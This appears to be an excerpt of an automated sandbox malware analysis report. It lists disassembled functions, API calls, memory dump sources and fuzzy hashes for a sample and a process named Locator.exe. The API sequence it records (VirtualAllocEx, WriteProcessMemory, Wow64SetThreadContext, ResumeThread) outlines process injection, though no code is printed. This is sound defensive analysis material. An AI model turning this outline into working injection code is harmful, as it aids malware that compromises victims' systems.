Opcode Fuzzy Hash: 7509491a525955e8aa384c7ebf23a640547f3c497973d9051573f8bf19670494
Instruction Fuzzy Hash: 6B3100B5D003099FDB10CF9AD884AAEBBF5FB48360F14842EE918A7310D774A945CFA0

Function 08E3C848 Relevance: 1.6, APIs: 1, Instructions: 72
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 08E3C8E0

Memory Dump Source

Source File: 00000016.00000002.1623364226.0000000008E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_8e30000_YRtQgzFlDnVSru.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: ac2e156fb2562ecaeb5e2d0127ab97e8d760aefe7a202f445b9543b669a18aca
Instruction ID: b94625c809928bfbe5c5732e581fe368661fe0658f5f1e15f074f12d487de5f1
Opcode Fuzzy Hash: ac2e156fb2562ecaeb5e2d0127ab97e8d760aefe7a202f445b9543b669a18aca
Instruction Fuzzy Hash: AD213776D003599FDB20CFA9C885BEEBBF1FF48310F148429E959A7240C779A945CB64

Function 08E3C850 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 08E3C8E0

Memory Dump Source

Source File: 00000016.00000002.1623364226.0000000008E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_8e30000_YRtQgzFlDnVSru.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 4765371370f05e826b0f2f7964fd785d2d027513b8e1cdf2579a6c525e9f4359
Instruction ID: e0f759f16ac9fe0aaf4fd0e0254734f870516787f959a01a8bc38b411442078b
Opcode Fuzzy Hash: 4765371370f05e826b0f2f7964fd785d2d027513b8e1cdf2579a6c525e9f4359
Instruction Fuzzy Hash: D0213975D003199FDB10DFA9C885BDEBBF5FF48310F508429E918A7240C779A954CBA4

Function 08E3C939 Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 08E3C9C0

Memory Dump Source

Source File: 00000016.00000002.1623364226.0000000008E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_8e30000_YRtQgzFlDnVSru.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 1c3b385af86fca005505df5459ff1ab6c65e63fd512e754733174db9517b7aa8
Instruction ID: e54bf198e6e0034b973dabb0e1de0b5ab984f068717349e9580d74ecae4eede4
Opcode Fuzzy Hash: 1c3b385af86fca005505df5459ff1ab6c65e63fd512e754733174db9517b7aa8
Instruction Fuzzy Hash: D8212471D007599FDB20DFAAC885BEEBBF1FF48310F50842AE959A7250C7399941CBA4

Function 08E3C6B0 Relevance: 1.6, APIs: 1, Instructions: 67threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNELBASE(?,00000000), ref: 08E3C736

Memory Dump Source

Source File: 00000016.00000002.1623364226.0000000008E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_8e30000_YRtQgzFlDnVSru.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 71ba2615bcd36db9ce13845da0b934422685149d361e63838229edddf70e1df7
Instruction ID: e92b17f959346e589be575edd630aee2acdd33363747fa36675c46972c480a51
Opcode Fuzzy Hash: 71ba2615bcd36db9ce13845da0b934422685149d361e63838229edddf70e1df7
Instruction Fuzzy Hash: FB214871D003098FDB20DFAAC4857EEBBF5EB48314F54842AD859A7240CB789945CFA5

Function 08D4E690 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

MonitorFromPoint.USER32(?,?,00000002), ref: 08D4E71F

Memory Dump Source

Source File: 00000016.00000002.1622756840.0000000008D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 08D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_8d40000_YRtQgzFlDnVSru.jbxd

Similarity

API ID: FromMonitorPoint
String ID:
API String ID: 1566494148-0
Opcode ID: 336430fc5fdafa6cfcd03210e0d71f257950bf5d7589d96a76818aa9165150db
Instruction ID: f73c506d7e32304ed071b75f3d1478903d40ba512e47835a63a563387152fbe4
Opcode Fuzzy Hash: 336430fc5fdafa6cfcd03210e0d71f257950bf5d7589d96a76818aa9165150db
Instruction Fuzzy Hash: 2D217AB4D042889FDB20DFA9D445BEEBFF1FB49360F24841AD455AB281C3396905CFA1

Function 08D4E6A0 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

MonitorFromPoint.USER32(?,?,00000002), ref: 08D4E71F

Memory Dump Source

Source File: 00000016.00000002.1622756840.0000000008D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 08D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_8d40000_YRtQgzFlDnVSru.jbxd

Similarity

API ID: FromMonitorPoint
String ID:
API String ID: 1566494148-0
Opcode ID: 448a5061c12af9bec4924097bfba328ccf16ed10cae96dda5bf3da39166a8771
Instruction ID: 2749d71f03b9e1728cafe969ae0cc513ec480c641caa7cacc642e2454e845273
Opcode Fuzzy Hash: 448a5061c12af9bec4924097bfba328ccf16ed10cae96dda5bf3da39166a8771
Instruction Fuzzy Hash: D2216074E002489FDB20DFA9D449BAEFBF5FB48360F10841AE955A7380C779A905CFA1

Function 08E3C940 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 08E3C9C0

Memory Dump Source

Source File: 00000016.00000002.1623364226.0000000008E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_8e30000_YRtQgzFlDnVSru.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: dadda874d48a2d1de3a1f0e8c6c7e571f15f68a6fcdbd4f7a4676e6d0ee6e6c7
Instruction ID: ff4def82ff01dd4474b9699eff3c23d62588df0bfb85f4f10f11865444623fc4
Opcode Fuzzy Hash: dadda874d48a2d1de3a1f0e8c6c7e571f15f68a6fcdbd4f7a4676e6d0ee6e6c7
Instruction Fuzzy Hash: 30212571D003599FDB10DFAAC885BEEBBF5FF48310F50842AE958A7250C739A901CBA4

Function 08E3C6B8 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNELBASE(?,00000000), ref: 08E3C736

Memory Dump Source

Source File: 00000016.00000002.1623364226.0000000008E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_8e30000_YRtQgzFlDnVSru.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: cefae3ed90e724fb40652b2e3902f0a4a8f57822d4355fcb1420687e13dacd9d
Instruction ID: f55b0dddc85fc9fe9d91147eba8390634319ea1b6ea16189564ebf3d16f11724
Opcode Fuzzy Hash: cefae3ed90e724fb40652b2e3902f0a4a8f57822d4355fcb1420687e13dacd9d
Instruction Fuzzy Hash: 1C211875D003098FDB10DFAAC4857AEBBF5EF48314F54842ED959A7240CB789945CFA4

Function 08E3C788 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 08E3C7FE

Memory Dump Source

Source File: 00000016.00000002.1623364226.0000000008E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_8e30000_YRtQgzFlDnVSru.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b0df3e288c7913ec1d9d739e51ccc4df4a58515f09638f1ab77ac7442a590107
Instruction ID: d096add8a4b29e15c2aefd3db0f7a2bfa3c2b21dd5ce05837cf5d10842eff2fb
Opcode Fuzzy Hash: b0df3e288c7913ec1d9d739e51ccc4df4a58515f09638f1ab77ac7442a590107
Instruction Fuzzy Hash: 53112976D003499FDB20DFAAC845BDEBBF5EF88310F248419E519A7250C779A950CFA4

Function 08E3C600 Relevance: 1.6, APIs: 1, Instructions: 54threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 08E3C66A

Memory Dump Source

Source File: 00000016.00000002.1623364226.0000000008E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_8e30000_YRtQgzFlDnVSru.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 0264893a98ce3e41ba0771a90469f49aa97cccbd796369204687fe12f33e1d31
Instruction ID: 8b5483e1197f3476a4c367ff51cbe758f718a26481f75cdf59dfb891ea4cf12e
Opcode Fuzzy Hash: 0264893a98ce3e41ba0771a90469f49aa97cccbd796369204687fe12f33e1d31
Instruction Fuzzy Hash: A7114971D007098FDB20DFAAC44579EFBF5EB88314F208419D559A7240CB35A941CFA4

Function 08E3C790 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 08E3C7FE

Memory Dump Source

Source File: 00000016.00000002.1623364226.0000000008E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_8e30000_YRtQgzFlDnVSru.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 71f227eed9405c51e73e62c635adb2cfa41daf5fbae0abf7360d189c2b07dfc5
Instruction ID: 6e55eab2d7d4a6f525a2c2c8b3a348e806bbb88c96909f9a0f2f2b56be18e340
Opcode Fuzzy Hash: 71f227eed9405c51e73e62c635adb2cfa41daf5fbae0abf7360d189c2b07dfc5
Instruction Fuzzy Hash: EE112976D003499FDB20DFAAC845BDEBBF5EB88310F148419E515A7250C779A940CFA0

Function 08E3C608 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 08E3C66A

Memory Dump Source

Source File: 00000016.00000002.1623364226.0000000008E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_8e30000_YRtQgzFlDnVSru.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 113e7f7ce8648c6b5fe31848f8eb1bc4a117bd54cf271c1fcba4a442585b43b3
Instruction ID: bdf7fb2d06bcde1c0780435ee7e873ef5f22f584139dd7533a293ef920e928ee
Opcode Fuzzy Hash: 113e7f7ce8648c6b5fe31848f8eb1bc4a117bd54cf271c1fcba4a442585b43b3
Instruction Fuzzy Hash: 1E113AB1D003498FDB20DFAAC4457AEFBF5EB88724F248419D529A7240CB79A945CFA4

Function 08E3FC20 Relevance: 1.5, APIs: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 08E3FC85

Memory Dump Source

Source File: 00000016.00000002.1623364226.0000000008E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_8e30000_YRtQgzFlDnVSru.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: afdf5c5f697e700679762bc99371d0776e398b37458c0a1db21aabb9c2a0f5b7
Instruction ID: 48b2d9336799b11df53f0e546502e06cfc7b77ad1f03b3a6fa8b5d4bda1b4d0c
Opcode Fuzzy Hash: afdf5c5f697e700679762bc99371d0776e398b37458c0a1db21aabb9c2a0f5b7
Instruction Fuzzy Hash: EB11E3B5C003599FDB10DF9AC485BDEBFF8EB48321F108459E958A7210D375A944CFA5

Function 0086E5E0 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0086E646

Memory Dump Source

Source File: 00000016.00000002.1546244244.0000000000860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_860000_YRtQgzFlDnVSru.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 2221d54857c37b0810f38a976b32454739342d81f2d05c06a69d7a881d58bf26
Instruction ID: a25990cb574da071ac2b78d333a7b9f3f31092dc97361cbc48abbafb4e1f99bf
Opcode Fuzzy Hash: 2221d54857c37b0810f38a976b32454739342d81f2d05c06a69d7a881d58bf26
Instruction Fuzzy Hash: AE110FB9C002498FDB20DF9AC844A9EFBF4EB88320F11842AD529A7210C379A545CFA1

Function 08E394F8 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 08E3FC85

Memory Dump Source

Source File: 00000016.00000002.1623364226.0000000008E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_8e30000_YRtQgzFlDnVSru.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 405f34df75fe5aa73e2609fe9926e9ebaa4a088cf8d95d36d00af4256a49afe5
Instruction ID: 6074c0fe863f4540579f0e7ad41d453e2bb44647b88be2e7d611ab19fb1a9278
Opcode Fuzzy Hash: 405f34df75fe5aa73e2609fe9926e9ebaa4a088cf8d95d36d00af4256a49afe5
Instruction Fuzzy Hash: 1411F5B5800359AFDB10DF9AC549BEEBBF8FB48320F108419E918A7250D375A944CFA5

Function 007DD4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1543349119.00000000007DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 007DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7dd000_YRtQgzFlDnVSru.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccb32afc19210e8c4e54280b461b3e3231bf68e0ffc03d30f245ab53fdca45d5
Instruction ID: b983a4b508c8d5a57cd878b58e035c5c02e5698af364a9cbf77ad48f83467b64
Opcode Fuzzy Hash: ccb32afc19210e8c4e54280b461b3e3231bf68e0ffc03d30f245ab53fdca45d5
Instruction Fuzzy Hash: 3D21F471504240DFDB25DF14E9C0B26BF75FB94318F24C56AE8060A356C33ADC66CBA2

Function 007ED01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1543458516.00000000007ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 007ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ed000_YRtQgzFlDnVSru.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44fc918203370577ffa5a0699f13e43ea08077780067373ea2856eea6fd82d3b
Instruction ID: 13adf3fbc7a56973b1f7217784f4ebfbcdb7a45d9d38951b5fd75cbb0f3bfad9
Opcode Fuzzy Hash: 44fc918203370577ffa5a0699f13e43ea08077780067373ea2856eea6fd82d3b
Instruction Fuzzy Hash: 1E21F275605384DFDB24DF14D9C4B16BB65FB88314F28C56DD84A4B286C33ADC47CA62

Function 007ED1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1543458516.00000000007ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 007ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ed000_YRtQgzFlDnVSru.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf2f2cb85eb72b85e6496fcb50583b80056cc5f4af2d5bb3e62a22feb0ea0ae4
Instruction ID: ff2f65689bd58d9b114c4cb397967a37c680a3cc00a3e8c27ac8cc95b0e2422f
Opcode Fuzzy Hash: bf2f2cb85eb72b85e6496fcb50583b80056cc5f4af2d5bb3e62a22feb0ea0ae4
Instruction Fuzzy Hash: D9210775A05384DFDB25DF11D9C0B15BB69FB88314F20C56DD9494F292C33ADC46CA61

Function 069309A0 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1617472167.0000000006930000.00000040.00000800.00020000.00000000.sdmp, Offset: 06930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_6930000_YRtQgzFlDnVSru.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c82ad7daf9bad496951659986f71fc184c29cea5a30918f8471be3e37f027d3b
Instruction ID: a2468eb2c39e02f9a1da25f5aeea2a220078a1bb31bea7f583f440dd30f27786
Opcode Fuzzy Hash: c82ad7daf9bad496951659986f71fc184c29cea5a30918f8471be3e37f027d3b
Instruction Fuzzy Hash: CD114970E0121ACFDB58DFA9C444AAEF7F1EF88310F15C46AD418AB761DB349942CB90

Function 007DD4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1543349119.00000000007DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 007DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7dd000_YRtQgzFlDnVSru.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
Instruction ID: 36b9fe925880d5b9fe41563f8405a8a95ddb6b94afa985f37b1a4e82ccccf0d9
Opcode Fuzzy Hash: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
Instruction Fuzzy Hash: 9711E676504280DFCB15CF14D5C4B16BF72FB94324F24C6AAD84A0B756C33AD866CBA1

Function 069317C0 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1617472167.0000000006930000.00000040.00000800.00020000.00000000.sdmp, Offset: 06930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_6930000_YRtQgzFlDnVSru.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dff822d5fcd68fefa8ea8579b330b7ca3beba86a6eed52c6b1f329e3e5c2d68
Instruction ID: 3e9b99e9e0483e1ff8e0c35055291d321e32d58a184a5ef145a0b4c91c5c5650
Opcode Fuzzy Hash: 3dff822d5fcd68fefa8ea8579b330b7ca3beba86a6eed52c6b1f329e3e5c2d68
Instruction Fuzzy Hash: E911C2748043489FDB51DF78C804A9B7FB2EF86300B55C5AAD045CB662C735C846CF65

Function 06931859 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1617472167.0000000006930000.00000040.00000800.00020000.00000000.sdmp, Offset: 06930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_6930000_YRtQgzFlDnVSru.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3c578f0d36397d20b48ca50ae869806f8b0355e78cc7b6cfca6c8d98cb18d39
Instruction ID: d5a7fc1bf1726f3e47cc63a72a49f9f4e9ecf2d2c30c6933609a625480fb8f71
Opcode Fuzzy Hash: d3c578f0d36397d20b48ca50ae869806f8b0355e78cc7b6cfca6c8d98cb18d39
Instruction Fuzzy Hash: 3611F374E0121ACFDB58DF69C044AAEBBF2AF88310F258469D418AB761DB349942CB90

Function 007ED1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1543458516.00000000007ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 007ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ed000_YRtQgzFlDnVSru.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
Instruction ID: 27e1994989ea866ff78aff39e71e152f36db96f7b868016ccd9d23ae3b3780a3
Opcode Fuzzy Hash: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
Instruction Fuzzy Hash: 9E119D79504280DFCB15DF14D6C4B15FBB2FB88324F24C6ADD9494B696C33AD84ACB61

Function 007ED017 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1543458516.00000000007ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 007ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ed000_YRtQgzFlDnVSru.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
Instruction ID: 2da3c7b9c748292e228e61fd6f7230c1de197320bb47b8d9695851834487be7a
Opcode Fuzzy Hash: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
Instruction Fuzzy Hash: 07119075504284DFCB15CF14D5C4B15FB62FB48314F28C6ADD8494B656C33AD85BCB61

Function 007DD745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1543349119.00000000007DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 007DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7dd000_YRtQgzFlDnVSru.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68b51e87b8844df90eb64a6def0c3483af4277d91de74d1eff96654341a0101a
Instruction ID: 43131533a5441134c0c9c95b6ab2f27f0434f6ee0419ca20f997b0fa157dc4c8
Opcode Fuzzy Hash: 68b51e87b8844df90eb64a6def0c3483af4277d91de74d1eff96654341a0101a
Instruction Fuzzy Hash: 4D01F231508344AAE7309A21CD84B26BFA8DF81335F18C5ABED080A382C27D9C41CAB2

Function 007DD744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1543349119.00000000007DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 007DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7dd000_YRtQgzFlDnVSru.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7680c53ab08b4b8d4ef5a68cd49558f235be62b756c96faadad275174bf9f560
Instruction ID: 3d056cf9698b28c543f79485cb355941e21d1b2689e25512cf374224b9a073aa
Opcode Fuzzy Hash: 7680c53ab08b4b8d4ef5a68cd49558f235be62b756c96faadad275174bf9f560
Instruction Fuzzy Hash: 77F06271504344AEE7249E15C988B62FFA8EB91734F18C59BED084A386C2799C44CBB1

Function 06931818 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1617472167.0000000006930000.00000040.00000800.00020000.00000000.sdmp, Offset: 06930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_6930000_YRtQgzFlDnVSru.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ac139a17260a9f8011cc914551e4d0dbb86cc5b14b58831aeeb5be086a07654
Instruction ID: b822a2934c8193a5c2b4b5e668c92f6d763a2f32b3a64e19614b70a6fea944d2
Opcode Fuzzy Hash: 9ac139a17260a9f8011cc914551e4d0dbb86cc5b14b58831aeeb5be086a07654
Instruction Fuzzy Hash: 26D0ECB0C402199ED780EFB9880176FBAF5AB84300F5088698014E2601EF7442008B95

Analysis Process: Locator.exePID: 6388, Parent PID: 624COMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	97.5%
Signature Coverage:	0%
Total number of Nodes:	79
Total number of Limit Nodes:	5

Executed Functions

Function 004C52A0 Relevance: 1.6, APIs: 1, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDefaultLangID.KERNELBASE ref: 004C53C4

Memory Dump Source

Source File: 00000018.00000002.2615968689.00000000004C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4c0000_Locator.jbxd

Similarity

API ID: DefaultLangSystem
String ID:
API String ID: 706401283-0
Opcode ID: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction ID: 2f833a90126d5643c6102f08238bb98db82194bda913623d6d0b4f08585c3cbd
Opcode Fuzzy Hash: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction Fuzzy Hash: DA41E85D40DED58FD3AA42245464F7E6BD09B113A2F9901DFD882862F2D19C3CC2972F

Function 004E0080 Relevance: 5.0, APIs: 3, Instructions: 466
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameW.KERNEL32 ref: 004E03E0

Memory Dump Source

Source File: 00000018.00000002.2615968689.00000000004C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4c0000_Locator.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 1be751eabdcc98312fb74eeb5f9fdb67a349bdf8bc590077ef3f4a702409fd86
Instruction ID: 1e672f5d50371c57fb52acf9ab2c96a00b5cdc20f71489d474d73c63abef4965
Opcode Fuzzy Hash: 1be751eabdcc98312fb74eeb5f9fdb67a349bdf8bc590077ef3f4a702409fd86
Instruction Fuzzy Hash: 99D17931408B4D8BC724EF59D8457EAB3E1FBA0301F18461FD856C7264DAB8DA8587C7

Function 004C8070 Relevance: 4.7, APIs: 3, Instructions: 236
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000018.00000002.2615968689.00000000004C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4c0000_Locator.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98d7738d5943052b3f4b969ae38aa39bdfeb94edb5aebf39e1e8633f8f1ead71
Instruction ID: df9534f1526cd99e0ce45afacf2463a952f148465379d9a3782026ac099709a1
Opcode Fuzzy Hash: 98d7738d5943052b3f4b969ae38aa39bdfeb94edb5aebf39e1e8633f8f1ead71
Instruction Fuzzy Hash: F661FE3C51CA899FC7E58B298818F767AE0BB55350F1A02AFD446C32A1CF2C5C46875F

Function 004C5910 Relevance: 1.9, APIs: 1, Instructions: 607
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000018.00000002.2615968689.00000000004C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4c0000_Locator.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction ID: d20b7733f4241af9f05e4f971fadfeedb5ab551a0bfe62aaf90c88b48294f6bd
Opcode Fuzzy Hash: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction Fuzzy Hash: 9BF1397071CE888FC7A9A72E58517BA73D2E799314F58029FD04AC7396DD3C9C46838A

Function 004C5B42 Relevance: 1.6, APIs: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000018.00000002.2615968689.00000000004C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4c0000_Locator.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction ID: 32258154924604f7f18ecc769c5b9cea0415959b4aa62b0fa6b9201b33b30855
Opcode Fuzzy Hash: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction Fuzzy Hash: 4A21822810CF458FDBE997189848F7E6AE1AB55310F5841AF9047CF392DA2CBCC5931E

Function 004C5B09 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000018.00000002.2615968689.00000000004C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4c0000_Locator.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction ID: 12dfba167f705562a6086b7466c9fd2d208511165507b1cffbfd6856bb1881b7
Opcode Fuzzy Hash: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction Fuzzy Hash: AA01AD3810DF468EEBD556248C58F7E6A90AB50324F6401AFC487CA191EA6C79C2A70F

Function 004C5B87 Relevance: 1.5, APIs: 1, Instructions: 23
threadCOMMON

